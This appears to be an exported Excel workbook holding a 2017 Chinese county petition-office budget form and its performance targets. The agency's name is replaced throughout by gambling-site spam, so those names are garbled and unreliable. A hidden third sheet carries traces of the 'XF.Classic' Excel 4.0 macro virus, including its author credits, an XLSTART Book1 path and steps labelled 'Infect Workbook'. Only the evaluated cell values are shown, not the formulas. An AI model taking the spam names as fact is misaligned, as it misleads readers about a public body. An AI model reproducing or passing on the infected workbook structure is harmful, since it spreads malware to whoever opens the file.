A | B | C | D | E | F | |
---|---|---|---|---|---|---|
2 | 财政支出项目基本信息表(公开模板) | |||||
3 | 填报单位(盖章): | |||||
4 | 单位名称 | 365bet体育赌博_怎么无限注册365游戏账号_beat365亚洲体育官网信访局 | 单位代码 | 11352225004041387W | ||
5 | 项目名称 | 信访维稳事务工作经费 | ||||
6 | 项目属性 | 一次性项目□ 阶段性项目□ 经常性项目R | ||||
7 | 项目类型 | 基本支出类R 项目支出类□ 部门整体支出类□ | ||||
8 | 功能科目编码 | 2010308 | 功能科目名称 | 接待日经费、矛盾排查调处中心事业干部岗位补贴、矛盾排查调处中心工作经费、信访维稳经费、市驻京信访办 | ||
9 | 项目预算金额 | 60.5万元 | ||||
10 | 项目实施单位 | 365bet体育赌博_怎么无限注册365游戏账号_beat365亚洲体育官网信访局 | 项目负责人 | 蒋龙春 | 联系电话 | 8875266 |
11 | 项目起止时间 | 2017.1.1-2017.12.31 | ||||
12 | 单位职能概述 | (一)贯彻落实国家、省委、省政府和市委、市政府及县委、县政府有关信访工作的方针、政策和法律、法规,部署和落实全县信访工作任务。向县委、县政府领导报告重大的信访情况并落实领导批示意见。(二)负责处理全县人民群众、法人和其他组织及境内外人士给县委、县政府和县领导的来信,接待群众来访;负责协调我县去市赴省进京非正常上访人员的劝返工作。(三)办理国家、省、市信访局和县委县政府及其他领导同志交办的信访事项,督促检查上级领导批示件的落实情况,向乡镇(街道)和县直部门转办、交办信访案件及其他信访事项,协调和督促检查信访案件的处理和落实。(四)承担县处理信访突出问题及信访工作联席会议的日常工作,督促落实联席会议决定的事项;(五)综合信访情况,分析信访形势,开展调查研究,反映群众来信来访提出的重要建议、意见、问题,及时反映重要社情民意,提出制定有关方针、政策的建议。(六)督促、检查和指导全县信访工作,总结信访工作经验,提出改进和加强信访工作的意见和建议。(七)宣传党和国家的有关政策、法律、法规,为信访人提供法律、法规和政策方面的咨询服务。(八)掌握并不断加强全县信访工作队伍建设情况,组织信访干部培训;负责制定全县信访工作的计划和目标管理。 | ||||
13 | 项目概况 | 接待日经费、矛盾排查调处中心事业干部岗位补贴、矛盾排查调处中心工作经费、信访维稳经费、市驻京信访办 | ||||
14 | 项目立项情况 | 项目立项依据 | 霞财预批【2017】04号;参照上年度预算批复额度 中共365bet体育赌博_怎么无限注册365游戏账号_beat365亚洲体育官网委员会会议纪要【2012】27号 事业干部8名 每人每月130元 宁人发(2010)71号 | |||
15 | 项目申报的可行性 | 信访工作是我县的一项重要工作,是构建社会主义和谐社会的基础性工作。做好新时期的信访工作,对于全面贯彻落实科学发展观,努力构建社会主义和谐社会,维护人民群众的合法权益,加强党风建设尤其是干部作风建设,密切党和政府与人民群众的血肉联系,都具有十分重要的意义。 | ||||
16 | 项目申报的必要性 | 通过每月开展接待日,建立市驻京信访工作队等信访事务更好的为上访人解决问题,有助于建立良好的社会秩序、生活秩序和工作秩序,促进安定团结,维护社会稳定。 | ||||
17 | ||||||
18 | 单位负责人:蒋龙春 | 填报人:郭星晨 | 填报日期: |
A | B | C | D | E | F | G | H | |
---|---|---|---|---|---|---|---|---|
1 | 财政支出项目绩效目标表(公开模板) | |||||||
2 | 填报单位(盖章): | |||||||
3 | 项目总体绩效 目标 (长期目标) | 减少和避免重复访和越级访,信访事项转办率达100%,信访事项处理率达100%。 | ||||||
4 | 项目年度绩效目标 (定量目标) | 评价内容 | 绩效内容 | 参考标准 | 绩效目标值 | |||
5 | 投入 | 时效目标 | 资金拨付 | 资金及时拨付到位 | 12月31日前 | 2017年12月31日前 | ||
6 | 成本目标 | 经费投入 | 接待日经费 | 6万 | 6万以内 | |||
7 | 经费投入 | 矛盾排查调处中心事业干部岗位补贴 | 1.5万 | 1.5万以内 | ||||
8 | 经费投入 | 矛盾排查调处中心工作经费 | 27万 | 27万以内 | ||||
9 | 经费投入 | 信访维稳经费 | 21万 | 21万以内 | ||||
10 | 经费投入 | 市驻京信访办工作经费 | 5万元 | 5万元以内 | ||||
11 | 产出 | 数量目标 | 全年信访接待人数 | 全年信访接待人数 | 3500人次 | ≦3500 | ||
12 | 全年排查件件数 | 全年排查件件数 | 84 | ≦84 | ||||
13 | 全年非访人数 | 全年非访人数 | 8 | ≦8 | ||||
14 | 全年维稳次数 | 全年维稳次数 | 15 | ≦15 | ||||
15 | 质量目标 | 信访事项处理率 | 信访事项处理率 | 100% | 100% | |||
16 | 社会效益目标 | 依法信访意识提高 | 依法信访意识提高 | 社会调查 | 减少和避免重复访和越级访 | |||
17 | 服务对象满意度目标 | 人民群众满意度提高 | 人民群众满意度提高 | 满意度 | 100% | |||
18 | 单位已有的(或拟订的)保证项目实施的制度、措施 | 按照《信访条例》处理信访事项、目标性强,霞财预批【2017】04号;参照上年度预算批复额度 中共365bet体育赌博_怎么无限注册365游戏账号_beat365亚洲体育官网委员会会议纪要【2012】27号 事业干部8名 每人每月130元 宁人发(2010)71号 | ||||||
19 | ||||||||
20 | ||||||||
21 | ||||||||
22 | ||||||||
23 | ||||||||
24 | ||||||||
25 | ||||||||
26 | ||||||||
27 | ||||||||
28 | ||||||||
29 | ||||||||
30 | ||||||||
31 | ||||||||
32 | ||||||||
33 | ||||||||
34 | ||||||||
35 | ||||||||
36 | ||||||||
37 | ||||||||
38 | ||||||||
39 | ||||||||
40 |
A | B | C | |
---|---|---|---|
1 | 附件1:2017年度财政支出项目基本信息表及绩效目标表(公开模板).xls | true | |
2 | Book1 | ||
3 | C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | **Auto and On Sheet Starts Here** | |
4 | #N/A | #N/A | |
5 | true | ||
6 | #VALUE! | ||
7 | Classic.Poppy by VicodinES | true | |
8 | With Lord Natas | false | |
9 | An Excel Formula Macro Virus (XF.Classic) | true | |
10 | Hydrocodone/APAP 10-650 For Your Computer | #N/A | |
11 | (C) The Narkotic Network 1998 | true | |
12 | true | ||
13 | true | ||
14 | **Simple Payload** | true | |
15 | true | ||
16 | true | ||
17 | true | **Set Our Values and Paths** | |
18 | true | ||
19 | true | ||
20 | **Add New Workbook, Infect It, Save It As Book1.xls** | true | |
21 | 0 | ||
22 | true | true | |
23 | true | true | |
24 | true | ||
25 | false | ||
26 | true | **Infect Workbook** | |
27 | true | #N/A | |
28 | true | true | |
29 | true | #VALUE! | |
30 | #N/A | true | |
31 | true | true | |
32 | true | true | |
33 | true | #N/A | |
34 | true | #VALUE! | |
35 | true | #VALUE! | |
36 | true | true | |
37 | true | ||
38 | true | ||
39 | true | true | |
40 | true | false | |
41 | true | false |